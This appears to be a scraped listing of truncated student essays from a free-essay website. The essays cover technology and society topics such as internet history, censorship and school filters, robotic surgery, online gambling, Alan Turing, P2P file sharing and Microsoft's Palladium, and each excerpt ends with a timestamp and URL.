overtaking by IT is where the typewriter has been replaced by a word processing package on a computer system. Instead of a typist having to produce documents using the equipment that he/she was initially trained on, they now have to get to grips with this new technology. A major reason this new equipment has been introduced is because of the far greater efficiency resulting from the enhanced speed and accuracy of document production. On a typewriter, the correction of errors is quite difficult and generally leaves some evidence behind. However, with the use of word processors, editing is simple and the final document is not printed out until all the corrections have been made, resulting in a perfect copy. The documents can also be saved and used again if needed. This chapter has also helped me understand the argued disadvantages. The system required for word processing will require a personal computer with software and a printer which will cost far more than a standard typewriter. However, it is also argued that this investment will enable you to do other tasks too - by using other applications and software. Another disadvantage is that the user has to be trained into using the specific applications before he can make full use of the system, which could take a lot of time. This chapter also explains about copyright issues. I have learnt from this chapter that computer software is copyright material. Copyright means that the specific product or material is protected in the UK by the Copyright, Designs and Patents Act 1988. This act outlines that the product or material belongs to the software producer and it is illegal to make unauthorised copies. From this chapter I have studied that on many occasions data is also copyrighted. For example, not everyone has the ability or opportunity to draw or take photographs and you often want to include 2004-12-26T00:46:28-05:00 http://75.150.148.189/free-essay/Information-Technology-and-Society-26042.aspx Robotic Surgery Just as computers revolutionized the later half of the twentieth century, the field of robotics has the promise to equally alter the way we live in the twenty first century. We have already seen how robots have modified the manufacturing of cars and other customer goods by streamlining and speeding up the assembly lines. Robots have also enabled us to see places that humans are not yet able to visit, such as other planets and depths of the ocean never before explored. And just as computer controlled diagnostic instruments have been used in medicine for years to provide vital information through ultrasound, computer-aided topography, and other imaging technologies, robotic technology is making it's way to operating rooms all over the globe. When we speak robots doing the tasks of humans we often talk about the future, but the future of robotic surgery is already here. On July 11, 2000, the Food and Drug Administration approved the first robotic system for use in American operating rooms (Schaaf par.2). This system is not true independent robot that can perform surgical procedures on it's own, but it lends a mechanical helping hand to the surgeon during delicate procedures. This System, named the da Vinci Surgical System, allows the human surgeon to get closer to the surgical site than human vision will permit and work at a smaller scale than conventional surgery permits. While sitting at the console, a few feet from the operating table, the surgeon looks into a viewfinder to examine the 3-D images being sent by a camera inside the patient. The images show the surgical site and the two surgical instruments mounted on the ends of two robotic arms. Joystick like controls, located at the console beneath the screen, are used by the surgeon to manipulate the surgical instruments, which moves in sync with the movements of the surgeon's hands. This technology translates the surgeon's movements into precise real-time movements of the surgical instruments inside the patient without hand tremors. The pencil sized instruments feature computer-enhanced mechanical wrists that are designed to have the same dexterity as the surgeon's forearm and wrists ant the operative site. These mechanical wrists give the surgeon the ability to reach around, beyond, and behind delicate body structures. The wrists can roll, pitch, bend, and grip just as if it were a 2004-12-26T00:42:51-05:00 http://75.150.148.189/free-essay/The-Advance-of-Robotic-Surgery-26041.aspx Development of the Internet Research The Internet began as the ARPANET during the cold war in 1969. It was developed by the US Department of Defense's research people in conjunction with a number of military contractors and universities to explore the possibility of a communication network that could survive a nuclear attack. It continued simply because the DOD, it's contractors, and the universities found that it provided a very convenient way to communicate. For the first decade that the Internet was in existence, it was primarily used to facilitate e-mail, support online discussion groups, allow access to distant databases, and support the transfer of files between government agencies, companies and universities. During the early 1980s, all the interconnected research networks were converted to the TCP/IP protocol, and the ARPANET became the backbone of the new Internet, which comprised all TCP/IP-based networks connected to the ARPANET. This conversion to TCP/IP was completed by the end of 1983 - and the Internet was born. In 1990, HTML, a hypertext Internet protocol that could communicate the graphic information on the Internet, was introduced. Each individual could create graphic pages, which then became part of a huge, virtual hypertext network called the World Wide Web. The enhanced Internet was informally renamed the Web and a huge additional audience was created. At the moment, most people use the term "Internet" to refer to the physical structure of the Net, including client and server computers and the phone lines that connect everything. They use the term "Web" to refer to the collection of sites and the information that can be accessed when one is using the Internet. A number of different services have developed over the years to facilitate the sharing of information between the many sites on the Internet. Because the Internet was originally research-oriented, many of these services were hard to use and poorly documented. Now that the Internet has been opened to commercial and private sites, new services are being developed that are easier to use, and new interfaces to the older services make them more friendly. The Internet is the largest electronic network in the world. It is really a global network of networks. Some sources estimate the Internet currently interconnects over 40,000 different networks in over 100+ countries. It is believed that over 5 million computer hosts take part in the Internet and provide service for between 35 to 40 million users 2004-12-22T20:22:47-05:00 http://75.150.148.189/free-essay/Development-of-the-Internet-Research-25963.aspx Internet Argument Paper: Censorship and the Internet Unless you’ve been living in a cave for the past couple ofyears you have no doubt heard about the internet, thousands of computers all over the world linked together with libraries of information and the ability to exchange messages with people all over the world. You can find almost anything you would want on the internet- books, essays, games, news, pictures, etc.- placed there by other users. The information is loosely organized, and, once you are hooked up to the internet through a computer, free to everyone. But this freedom has caused problems. Because there are no restrictions to what anyone puts on the internet, and a wide variety of people use it, some of it can be offensive to many people, sending rude or annoying messages, for example. But the biggest problem is with the areas that have been used to distribute pornographic computer images. Anyone can load and display one of these pictures on his computer screen, and understandably many people have become concerned. These are not just a few pictures of unclothed women but also virtual databases of such things as child pornography, bondage, and bestiality that any child with a computer can get to with ease. A couple of years ago it was Senator Exon from Nebraska who had taken the lead in proposing legislation that would ban certain types of things from being placed on the internet. Although at first it sounds like a good idea, I am opposed to censorship on the internet. So that my intentions are not misunderstood, let me first state that I do not condone pornography. I believe pornography is not only degrading to women and offensive but also morally wrong. I understand and support what Senator Exon and others were trying to accomplish, but I think the proposed method is misguided. There are much better and easier methods available. One of the primary reasons why this legislation is a bad idea is because it will be difficult to enforce and therefore will raise the price of access to the internet. It is difficult to enforce any rules or standard on the internet because no one owns or manages it. The internet is essentially just many computers attached to each other and set up so that 2004-12-21T06:57:34-05:00 http://75.150.148.189/free-essay/Argument-Paper-Censorship-and-the-Internet-25940.aspx School Filters for the Internet Protecting children from online pornography is a constant political issue on Capitol Hill, and local school boards could find themselves handed yet another federal mandate telling them how to do their jobs. The U.S. Senate recently added amendments to a large spending bill requiring schools and libraries to block student access to pornography on the Internet–despite any evidence that such institutions have turned themselves into electronic red-light districts. The toughest proposal is the Children's Internet Protection Act, sponsored by Sens. John McCain (R-Ariz.) and Fritz Hollings (D-S.C.). If enacted, it would require schools using federal funds to install filtering technology to block access to pornography, violence, and other material "inappropriate" to minors. Schools would need certification from the Federal Communications Commission that such protections were in place. The Children's Internet Protection Act (CIPA), sponsored a law requiring all schools and libraries who receive federal funding to install Internet content filters, which was passed into law on December 21, 2000. This new law requires schools and libraries to maintain and enforce a policy of monitoring the online activity of minors by having in place an Internet Safety Policy that includes the use of Internet access by children and implementation of technology that will filter out objectionable content. Such a policy should use technology to block access to obscenity, pornography, or other material that could be harmful to minors. So what exactly are children not suppose to see and whose definition of inappropriate are we to use when installing a filter? Material that is considered "obscene" is fairly easy to spot. Obscene material would be any material that is completely off the scale of what is acceptable for a classroom. Obscenity is illegal under that Communications Decency Act. Testing of material to determine if it falls into the obscene category can be done easily. The Communication Decency Act has three guidlelines to use to help in this determination: whether the average person or group, taken as a whole, would find the material offensive, whether the material depicts or describes something in an obviously offensive or sexual way, or whether the material lacks serious literary or scientific value. The Federal Communications Commission (FCC), which oversees the program, insists schools and libraries who receive federal funding to help pay for computers and Internet access must comply with this new law mandating the installation of Web content filters by July 1, 2002, 2004-12-21T06:20:26-05:00 http://75.150.148.189/free-essay/Ethics-of-School-Filters-for-the-Internet-25928.aspx <b>Overview of topic and issues discussed</b> Gambling in any form has been controversial since before history could document it. There are sections of the Bible that forbid gambling in any form. Gambling is legal in parts of the United States such as in Las Vegas Nevada, Atlantic City on the East coast and on various Indian Tribal grounds spread widely across the rest of the United States. The establishments in these areas are well regulated. With the creation of the Internet, gambling has found a way to permeate all parts of the globe. Any computer with internet access can gamble regardless of local laws. Internet gambling was one of the first websites created as the internet became more popular in the early 1990’s. Since then it has grown in popularity at an explosive rate. Most of the Internet gambling websites are hosted and based in foreign countries in order to evade the laws of the United States. Since most websites are not based in the United States the laws used to govern each site vary greatly. This lack of regulation is where the main arguments concerning Internet Gambling reside. There are four pending pieces of legislation relating to Internet Gambling in the House of Representatives and Congress. The potential laws vary in their aims from cutting off the financial United States banking and credit resources to creating a regulatory commission that would oversee it all. The website http://www.arentfox.com/quickGuide/businessLines/sweeps/contestsSweepstakes/sweepsRelatedArticles/sweeps2003-06-10.html lays out a summary of the Pending Legislation: “A number of bills concerning Internet gambling are currently pending in Congress. Three of these bills, two in the House and one in the Senate, seek to prevent funding of Internet gambling through the use of bank instruments. There is significant disagreement in the House, however, over the specific language and scope of the legislation. A fourth bill, currently pending in the House, would create an Internet gambling licensing and regulation commission. HR 21, also known as the Unlawful Internet Gambling Funding Prohibition Act, was introduced in the House in January 2003. The bill seeks to prohibit the use of credit, electronic funds transfers, instruments payable through a financial institution, or any financial transaction involving a financial institution to fund Internet gambling activities. The bill also encourages communication with foreign countries to root out Internet gambling operations connected with money laundering, and to ensure international cooperation with the Act. Additionally, HR 21 requires the Secretary of 2004-12-20T04:27:14-05:00 http://75.150.148.189/free-essay/Internet-Gambling,-Analysis-Discussion-Essay-25868.aspx While online exploration opens a world of possibilities for children, expanding their horizons and exposing them to different cultures and ways of life, they can be exposed to many dangers as they hit the road exploring the information highway. If not used properly, the Internet may be severely damaging to the mental and physical health of children. There are many different hazards on the Internet. Chatting on the Internet, which enables people as well as children to communicate, without revealing their true identity, is probably THE most dangerous area on the Internet. By engaging in chat, you open yourself up to all sorts of exploitation, and personal harm. Chatting brings people closer, which may not always be a good thing. Offensive dialogue and adult conversation during chat also influences children to use inappropriate language at home as well as in school. Because of the interactive nature of chatting, it is most likely activity online through which children may be harmed. Too much time online limits a child's well-rounded development by taking the place of friends, schoolwork, sports and other activities. While on the Internet, it is probable that one will get carried away and lose track of time. Since being on the Internet is so time consuming, it is possible for anyone to get addicted. Any parent that values his child’s mental and physical well being should avoid this. Easy access to sites promoting hatred, violence, drugs, cults, and other things not appropriate for children, is another great hazard of the Internet. Besides offering opportunities and access to unsavory activities, these sites also, quite often present misleading and inaccurate information. In most cases, parents cannot censor what their children read online, what sites they visit, what kind of people they chat with, or the things they purchase. Accessing the Internet means accessing violent material, by means of reading and watching. Basically, a parent does not have control over what their child does. There are no restrictions on marketing products such as alcohol, tobacco, and arms to children- Marketing deceptively collects personal information from kids in order to sell products to them or their parents. Requests for personal information for contests and surveys that are used in unauthorized ways often may occur. By submitting personal information in order to purchase goods or services through the Internet, we are exposing ourselves to hackers. Hackers illegally obtain private files stored on computers. The hardest part to 2004-12-12T06:04:13-05:00 http://75.150.148.189/free-essay/The-Detrimental-affects-of-The-Internet-25831.aspx Possibly an inadequate title, the Founder of Computer Science, is what Alan Mathison Turing is called by the technological community. Born in a nursing home in Paddington, London with the strong desire to learn, Turing would soon grow to be one of the most ingenious mathematical logicians ever to grace his field. Turing was a man who accomplished his successes without outside motivation to do so. His family, being an upper-middle-class group with no scientific knowledge or interests, left Turing to develop his interests for mathematics and science on his own. This interest is believed to have been sparked by a book he read at around the age of fourteen entitled, “Natural Wonders Every Child Should Know”(Hodges 22). Through reading books of this type and in honor of a deceased intellectual companion named Christopher Morcom, Turing gained the drive to make strives in the world of technology. Turing’s received his first public recognition in the field of mathematics directly after graduating from King’s College, when he won a Smith’s prize for his work on probability theory in 1936 (Kowalik 2). It was around this time when Turing became intrigued by the mathematical question of decidability, otherwise known as the Entscheidungsproblem. This problem asked the question, “could there exist, at least in principle, any definite method or process by which all mathematical questions could be decided?” With his amazing mathematical ingenuity, Turing was able to supply a precise method to solve this almost impossible problem. The method that Turing constructed became the foundation of modern computation, and was later called the Turing Machine. It was a machine that Turing claimed could equal or exceed the logic of a person working on a set of logical instructions. The function of the machine was to accept algorithms, as we call them today, and solve problems dealing with computable numbers (Kowalik 2). He first released his findings in a paper entitled, “On Computable Numbers with an Application to the Entscheidungsproblem.” Although this was probably Turing’s greatest accomplishment, he soon became interested in ciphers used during wartime, and would lend a helping hand to the British forces during WWII (Turing 2). Early on in the war, Germany had developed something called an Enigma Machine, which generated undecipherable code that was transmitted between German forces. Upon the entrance of Britain 2004-12-06T16:39:20-05:00 http://75.150.148.189/free-essay/Alan-Turing--25801.aspx The Time Machine by H.G. Wells is considered a “classic” in today’s literary community. I also believe that this novel is a good book. It was an interesting story the first time I studied it, and I have found new ideas each time I have read it since. It is amazing that such a simple narrative could have so many complex ideas. Unfortunately, some do not take the same position that I do. They cast it off as a silly little novel that deserves no merit. Obviously I disagree with these critics. The Time Machine follows the criteria that I believe a good novel should have. A good novel should include an element of fantasy and should stimulate ideas in the audience that they never came to realize before. The aspect of good versus evil should also be incorporated into a novel, mainly to capture the reader’s attention. If readers find themselves rooting for a particular character or set of characters against another, they become involved in the novel. The characters should also be realistic so the audience can relate to them. The Time Machine follows these criteria with few exceptions. Why should this novel be looked at now, 100 years after it was written? The Time Machine is a science fiction novel that has a much different view of the future than the view that is commonly held today. Modern society foresees the future as a technologically advanced society that would make our present society look primitive. Many movies today portray this view of the future. Wells’s view of the future is the antithesis to the one that is held today. The regression of society is rarely discussed as the future. The idea that human beings have reached their progressive and evolutionary peak could be an actuality. The Time Machine could be a possibility for the future despite the universal belief that humans still have a long way to progress. Neither technology nor peacefulness exists in the future that The Time Machine portrays. Wells apparently has a grim outlook for what society will evolve to in the future. Wells introduces a meta-utopia or a dystopian future, which is, to say the least, a radically unique idea. A meta-utopian society is one that regresses instead of progresses. The protagonist of the book, the Time Traveller, builds a time machine and 2004-11-02T09:29:20-04:00 http://75.150.148.189/free-essay/Analysis-of-the-Time-Machine-by-H_G_-Wells-25711.aspx Many years ago a network was born having several computers connected and now, that same network has millions of computers connected at all times, it's called the Internet. This paper will explain the evolution and growth of the Internet. I will offer a guided tour though the evolution of the Internet and explain what this effect has on its growth and popularity. It's like a plague growing across the world, signs of its growth are seen everywhere. The Internet was started as an experiment to test networks to try and develop a network that could survive a nuclear attack. While the net has never needed to survive a nuclear blast its design has proven again and again how robust it is. It has with stood many an attack from construction, people digging up cables, to lightning blowing up a router. The network has always recovered and bypassed the problem. The Internet began as the Advanced Research Projects Agency Network (ARPANET) during the cold war in 1969. It was developed by the US Department of Defense's (DOD) research people in conjunction with a number of military contractors and universities to explore the possibility of a communication network that could survive a nuclear attack. It continued simply because the DOD, DOD's contractors, and the universities found that it provided a very convenient way to communicate (Wendell). The ARPANET was a success from the very beginning. Although originally designed to allow scientists to share data and access remote computers, e-mail quickly becomes the most popular application. The ARPANET became a high-speed digital post-office as people used it to collaborate on research projects and discuss topics of various interests. By 1971 the ARPANET grew to 23 hosts connecting universities and government research centers around the country (Net Timeline.). In 1973 the first international connections were made with England and Norway. Growth continued at a steady pace, by 1987 there were over 10,000 hosts, then by 1989 it had exploded to 100,000 (Rowse). Bob Kahn and Vint Cerf are key members of a team, which created Transmission Control Protocol / Internet Protocol (TCP/IP), the common language of all Internet computers. For the first time the loose collection of networks which made up the ARPANET is seen as an Internet, and the Internet as we know it today is born. The mid-80s marks a boom in the personal computer and super-minicomputer industries. The combination of inexpensive 2004-11-02T09:23:18-04:00 http://75.150.148.189/free-essay/Evolution-and-Growth-of-the-Internet-World-Wide-Web-25710.aspx Some people think that it is good to do bad things to achieve something good. Well, that seemed to be the case in Russia and the United States after the Industrial Revolution because in the United States and Russia problems led to solution .The Industrial Revolution caused many problems in both the United States and Russia. Even though the Industrial Revolution caused similar problems, the solutions and results were different. There were many problems in the United States due to the Industrial Revolution. First, some Americans attempted to form monopolies to take over a particular industry. For example, Rockefeller and Carnegie had monopolies in their fields of work (oil and steel). This allowed them to set whatever prices they wanted, and people had to pay for their products because it was the only one available. This made them even more rich and powerful. Another problem was the poor work conditions. Workers had to work long hours and do strenuous work for very little pay. The work environment was not a safe one and not a very good one either. Thirdly, the United States economy was not doing so well. With all of the new technology and machinery that allowed mass production due to the Industrial Revolution, there were many business cycles (Depressions and “booms”). During depressions, people had a hard time making money and finding jobs. The stock market was also doing poorly, and there wasn’t much money. During booms, everything was going great. The stock market was doing very well, times were good and money was plentiful. There were many people with jobs and not as many poor people. In addition, cities were becoming a problem in the United States. Many were working out well in the beginning, but now that industry was booming, people went to the city to find work and live. Overcrowding was a big problem in some areas. Many people that lived in cities had to live in tenements. The conditions there were not very good, and cities were getting dirtier and unhealthy. Diseases began to spread and people got sick and some died. The cities were getting worse and worse. Lastly, due to the diversity of people, and immigration because of the Industrial Revolution, there were many prejudice people in the United States that discriminated against colored people just because of the color of their skin. They were powerless and were not listened to 2004-11-02T09:22:41-04:00 http://75.150.148.189/free-essay/The-Industrial-Revolution-Technology-and-Society-25709.aspx The Internet as we know today was not a concept that was quickly enacted when it was first thought up. It was a revolutionary process that was the result of visionary people who painstakingly brought forth the World Wide Web. These individuals saw a promising potential in allowing computers to share information on research and development in scientific and military fields. This is all started in 1962 when the U.S. Defense Advanced Research Projects Agency (DARPA) initiated a research program. They selected J.C.R. Licklider of MIT to head the work and develop it. Later Leonard Kleinrock of UCLA who developed the theory of packet switching, which was used to create the basis of Internet connections. His thesis was titled Communications Networks: Stochastic Flow and Delay. This thesis examined what packet-switching networking could look like. Lawrence Roberts of NIT confirmed Kleinrocks’ theory by connecting a Massachusetts computer with a California computer over dial up telephone lines. This proved that it could be done and when he later joined DARPA in 1966 he developed his plan for ARPANET. ARPANET, also known as the Internet “was brought online in 1965 under a contract let by the renamed Advanced Research Projects Agency (ARPA)” (Howe 2). It originally connected UCLA, Stanford Research Institute, UCSB, and the University of Utah. Soon after several other universities connected to ARPANET. In order for ARPANET to communicate via the telephone lines a series of protocols were developed Transmission Control Protocol (TCP) and Internet Protocol (IP) came first then TCP/IP developed from these. These protocols communicated transparently across multiple, linked packet networks. The ultimate infrastructure was designed that if “sites were destroyed by nuclear attack, routers would direct traffic around the network via alternate routes. Since this was a initially founded by the government, it was originally limited to research, education, and for government use. In order to work the Internet a person had to learn a complex system. “The Internet matured in the 70’s as a result of the TCP/IP architecture first proposed by Bob Kahn at BBN and further developed by Kahn and Vint Cerf at Stanford and others throughout the 70’s.”(Howe 3). It is interesting to note that at this time at Bell Labs the Unix to Unix Copy Protocol (UUCP) was invented. Newsgroups and discussions were exchanged through this means although it did not use TCP/IP. Usenet is not considered a part of the Internet but 2004-11-02T09:21:15-04:00 http://75.150.148.189/free-essay/The-History-of-the-Internet-25708.aspx There are varying opinions regarding the future of e-commerce. Despite the fact that online sales are growing exponentially, some analysts believe that e-commerce is heading for a fall. Laurie Windham justifies her belief that as time goes on, sales will decrease instead of increasing. Windham believes that net consumers are very different than mall shoppers and catalog shoppers. Furthermore, she says that dot-coms are responsible for ruining their own chances to sell because they have spoiled customers to the point that consumers expect cheap prices and freebies and if they don't get them, they just move on to another site. E-commerce, Windham says, is a fickle world with little, if any, customer loyalty (Fortune, 2000). Windham found some interesting differences between online shoppers and traditional shoppers. For instance, 34 percent of online shoppers describe themselves as comparison shoppers but only 8 percent of traditional shoppers describe themselves as comparison shoppers. Another comparison is that only 1 percent of Web shoppers say they hate stores but 10 percent of traditional shoppers say they hate stores (Fortune, 2000). Web shoppers are by and large comparison, price-sensitive consumers. Future 3 Windham, who spent two years studying the consumers who purchase online, said that as nonusers begin to use the Web for purchasing, they will be less adventuresome than people already making purchases online. They will also be slightly older than the norm and they will be more fearful and cautious about privacy and security. In other words, as nonusers begin using the Web to shop, they will be a more conservative group than current users. It is probable they will also be less fickle and more loyal to brands/stores (Fortune, 2000). Windham pointed out that there were numerous problems with people receiving exactly what they ordered online during last holiday season. Based on that, she suggested sales may be lower this year (Fortune, 2000). Surveys conducted after the last holiday season suggested online shoppers would continue shopping online. One survey, for instance, indicated that more than 90 percent of consumers reported that shopping online met or exceeded their expectations. Eighty percent said they would increase their online shopping in 2000 (Rutledge, 2000). Studies found that consumer confidence in using the Internet for shopping reached very high levels, which were due to a number of factors. Positive comments from family and friends were one of the factors that swayed more people to utilize this 2004-11-02T09:20:25-04:00 http://75.150.148.189/free-essay/Future-of-eCommerce-25707.aspx The market for computer products is a multi-billion dollar business where one can find a perfect balance of technology and efficiency. The huge industrial market is lead by such names as IBM, Hewlett Packard, and Compaq. In the world today, computers are used for a variety of tasks and play a crucial role in the areas of academics and business. The steps that are taken to bring the computer from several small components to a desktop product are organization of the manufacturing facility, assembly of hardware, installation of software, and a test process. The production of a high quality product is important to computer buyers. The following discussion demonstrates steps large corporations take to make an efficient computer. Companies such as IBM and Apple computers are well known in the computer industry. These companies have several manufacturing facilities around the world where thousands of computers are built. Manufacturing factories, which typically range between “75,000 to 200,000 square feet”() in size, produce approximately 14,000 systems weekly. Companies generally use 2 methods of computer assembly. One method involves complete unit assembly by one person, the other being group assembly where several people construct a single computer (the latter method is known as assembly line production). A factory employing the single unit assembly method produces about 40 to 60 computers a day (this number varies base on the complexity of the system being assembled). The assembly line method yields approximately 70 computers a day in the average factory. The assembly line method is the most efficient way to produce computes as individual workers become highly specialized in a specific task. In addition, the next person down the ‘line’ can check the pervious person’s work to check for errors. “Additional inspection [, as used on assembly lines] tends to increase the computer’s quality”(). The first step in manufacturing a computer is for the designer to consider a balance between economic need (customers price level) with computer power and practicality. Manufacturers try to make the best computer (in a given price range) for the lowest cost. Once a specific model is designed the company orders the high quality parts from their own component manufacturing divisions or outside suppliers. Inventory control is an important part of acquiring components as, to remain efficient, the company tries to avoid overstocking. Manufacturers take note of the consumer demand, on a daily basis to efficiently establish quantities for the production 2004-11-02T09:19:24-04:00 http://75.150.148.189/free-essay/Computer-Production-Market--25706.aspx P2P (peer to peer) Sharing –Crime or Artistic Justice The mark of artistic talents has traditionally not been something quantifiably measured in dollars and cents. Shakespeare was all but a pauper, Michelangelo rather middle class while Pablo Picasso died broke. However with the advent of new information technology, the gross commercialization of art has come to be an externality borne by all members of society. One can hardly turn on a computer without being told what products to put on one’s hair -thrust down one’s throat and shove into other places on the human body. It is clear, that media affects everyone, as opting out is simply not an option for any individual or collective in today’s technologically tyrannical world. Ironically, individuals are not necessarily victims of this modern state of affairs as they are also the benefactors at the cost of some large corporate gurus. With Peer to Peer (P2P) file transfers occurring continuously around the world the individual is given a chance to evaluate art for what it truly is, leaving a greater onus on artist to derive monetary remuneration by alternative means. The modern notion of artist revolves around junkie boy bands and artificially grown vocalist. The list of contemporary self-proclaimed divas includes names like Brittany Spears, Backstreet boys, NSYNC and many others. The so-called artists are manufactured and groomed in multimillion-dollar theatres filled with the most seasoned of spin-doctors, poised specifically to create the sound and image of the day to generate immediate profits. Songs are written, composed and choreographed by hundreds of respective experts only to be thrown into one giant smoke screen wielded by some pop idol that becomes a de facto spokesperson for the myriad of industry pundits; all of whom have a significant stake in the given image. Not surprisingly, when it comes to the prestigious awards presentations these pop gurus indiscriminately address themselves as artist. They typically claim to be in love with their work and “do it all for the sake of the fans.” The recent crusade to eliminate the piracy of “their” work is the newest agenda on the pop scene while scores of the biggest pop stars have become the music industry’s new voice, speaking up for justice and fair compensation for the hard work and large investments that gets put in by the multitude of contributors. Their 2004-09-26T21:29:21-04:00 http://75.150.148.189/free-essay/Peer-to-Peer-MP3-Sharing-25568.aspx [i:9590ff916d]'Technology, above all else, has changed the nature of the state, not least in terms of making boundaries permeable'[/i:9590ff916d] In discussing this statement I am going to discover whether technology is responsible for changing the nature of the state, but more specifically whether it has made boundaries more permeable. Although the statement holds the assumption that technology is the main factor of change, after reading several texts I have come to the conclusion that this belief is true, be it directly as a technological innovation or indirectly by how these innovations may influence other means of penetrating borders. The development of new technologies has for the best part of 150 years had a tremendous effect on society in general, and the world as a whole, from the development of the steam engine to the discovery of nuclear power, states have never been able to react the same. Of course, major technological advancement has been a phenomenon witnessed more frequently by the west, which of course initially made conflict between these countries more probable but ultimately more devastating, as vividly portrayed by WWI and WWII. I will begin by discussing the first major age of change and development, in this case, the industrial revolution. It now seems that the industrial revolution heralded the beginning of a new system that would concentrate on continuing development and heightening technology, not least when the military could find uses for them. Industrialization in the mid-19th Century also brought a new way of social classification, the traditional way of owning land to increase status had been replaced by capitalism where it seemed the more you earned the higher in society you could climb. This was an incentive for industry owners to seek greater efficiency through development. A number of factors had greatly changed the way the military could react by the beginning of the First World War. The birth of manufacturing had meant that uniforms, boots, guns could all be produced by the thousand. America had emerged as the forerunners of manufacturing and their civil war is described as 'the first industrialized war'. For the state it would be inevitable that they should get involved in industry because developments in industry brought about significant military applications. For instance, the steam engine had brought trains, important for industry and trade as they could transport goods quicker, but also important for the military. They could now mobilize troops much 2004-09-13T05:51:31-04:00 http://75.150.148.189/free-essay/Technology-and-its-Effects-on-the-State-25564.aspx What are the costs of computer literacy? Some people argue that there are no such costs, but I believe there are a few which may be relevant. Does computer literacy affect the way we communicate, and if so, is this necessarily a bad thing? What is our future, as computer literacy becomes a necessity? What are the personal, financial, and social costs, as computer literacy becomes a necessity? According to Webster's New World dictionary, literacy is defined as the ability to read and write. There is definitely more than one interpretation of the word "literacy" as we have seen in class discussions and from reading many essays on the subject. The world has grown beyond the understanding of literacy as the ability to read and write- we now have many diverse understandings of the word. But there is a new literacy emerging around the world that will soon demand the immediate attention of everyone. I am referring to computer literacy. As our society becomes increasingly dependent on computers to take care of our daily needs, it creates a high demand for skilled professionals to maintain as well as take advantage of this technology. The computer job market is like a wave, a technology wave. I had the choice to ride the wave and possibly make a lot of money at the age of only 18. But if I had not decided to go to college now, instead of working full time, there is no guarantee that I would have a job when that technology wave breaks. Last year, at the age of 18, I was working in a computer software company as a network administrator and making more than some people that have a college degree. Some may look at this as a tremendous opportunity, but I saw it as a possible pitfall. At first, I saw taking advantage of my high computer literacy as having no costs whatsoever, but what I was reluctant to see was that I was not taking any college classes to further my education. This would have proved to be a significant mistake if I had not seen the possible negative aspects of not having a college degree to fall back on. How do you measure that cost or its cost to society? The degree and education that I get by going to college may prove to be a very important part of my future. As new technologies 2004-07-05T22:42:11-04:00 http://75.150.148.189/free-essay/Computer-Literacy--25515.aspx In his essay, “Picking Nits on the Net,” John Oughton reminds Internet users that information on the Net does not have a guarantee of authenticity, so it must be carefully evaluated. Oughton gives some examples and also provides some useful advice on evaluating information on the Internet. Oughton’s writing is well supported by reasonable arguments, informative and very useful, and the examples that he uses are commonly encountered by most Internet users; however, sometimes he understates the advantages of valuable information on the Net. Some examples that Oughton uses to support his claims are very reasonable. As we can see in his thesis, he states that in this computerized era, people should be critical in evaluating any information on the Internet. To support that argument, Oughton gives some reasons. First, he says that information we get from the Internet is not reliable, with no assurance of its credibility. It is really true since people with whatever background of knowledge can write and design nice looking Web sites and it is easy to disseminate any information by using the World Wide Web. Second, he also states, “all information on the Internet looks equal” (463). In particular, when surfing the Net, we might find that at first sight, some information really looks similar and real, and usually we do not think about its quality rather than its quantity. Indeed, misleading information and fake images might trick even skeptical persons with its good quality. It was not so long ago, when I came across some sites intended to attack certain people, beliefs, or organizations that I realized how irresponsible information could really be harmful. For that reason, I agree with Oughton that ” the unexamined site is not worth believing” (462). Moreover, Oughton’s writing is very informative and useful to Internet users. For example, when he gives some guidelines for surfers to surf the Net by suggesting to determine the credibility of sources, to check citations from individuals or institutions before forwarding them, and to remain skeptical in analyzing information on the Net. These guidelines, which are leading surfers to be more critical, I think, are very helpful and important in examining an extremely large collection of information on the Net. They are the basic things Internet users need to know before surfing the Net. In addition, the examples that Oughton uses in the first paragraph about “forwarded copies of false” virus warnings, “myths about 2004-06-10T02:12:22-04:00 http://75.150.148.189/free-essay/Is-Information-on-the-Internet-Reliable-25075.aspx Palladium In June of 2002, Microsoft made public its plans to develop a new system of digital rights management called Palladium. The idea behind the monopoly’s newest initiative is a fairly old one: combine hardware and software to create a so-called “trusted” user interface. This idea, in its pure form, benefits users immensely. It would allow for an exceedingly pure and safe form of computing, compared to today’s standards. If properly implemented, the system would only allow certain applications and scripts to access certain pieces of data. Users could specify which applications or vendors to wholly trust their computer to, and which applications to block out completely. The Palladium plan would also virtually eliminate the threat of viruses, as they would not be able to access any of the user’s data without their consent. However, many critics have voiced their doubts about whether or not Microsoft can really be trusted to create such a platform. A growing number of end-users learning about Palladium have expressed nervousness towards the idea of having Microsoft be, essentially, the gatekeeper of all information entering, being stored on, and leaving their computer. The rise of Palladium could also spell out the end of online MP3 and movie trading, as future CDs my come encrypted so that they can only be played on a computer with certain applications, which don’t allow CD “ripping” (ripping is the act of copying audio data off of a CD to a user’s hard disk.) DVDs would function the same way, refusing to be played or accessed unless it was by a certain “trusted” application, which wouldn’t allow for copying. As well as the aforementioned features of Microsoft Palladium, the system would also implement code that allows certain data to be tied to certain pieces of hardware, in a way such that if the hardware is not present, the data cannot be accessed. Slashdot, a respected technology site in the “techie” world, has a forum open to this topic. In the thread, the user “Jerf” expressed the concern, “What kind of data recovery plans will exist if I buy $1000 dollars worth of digital music that is tied to my processor, only to have my processor get fried in a power surge (http://ask.slashdot.org/article.pl?sid=02/10/15/2245243&mode=thread&tid=109, 10-28-02)?” Microsoft has not yet addressed this issue in any of its announcements or whitepapers to date. If 2004-03-20T00:53:32-04:00 http://75.150.148.189/free-essay/Microsoft-s-Palladium-56.aspx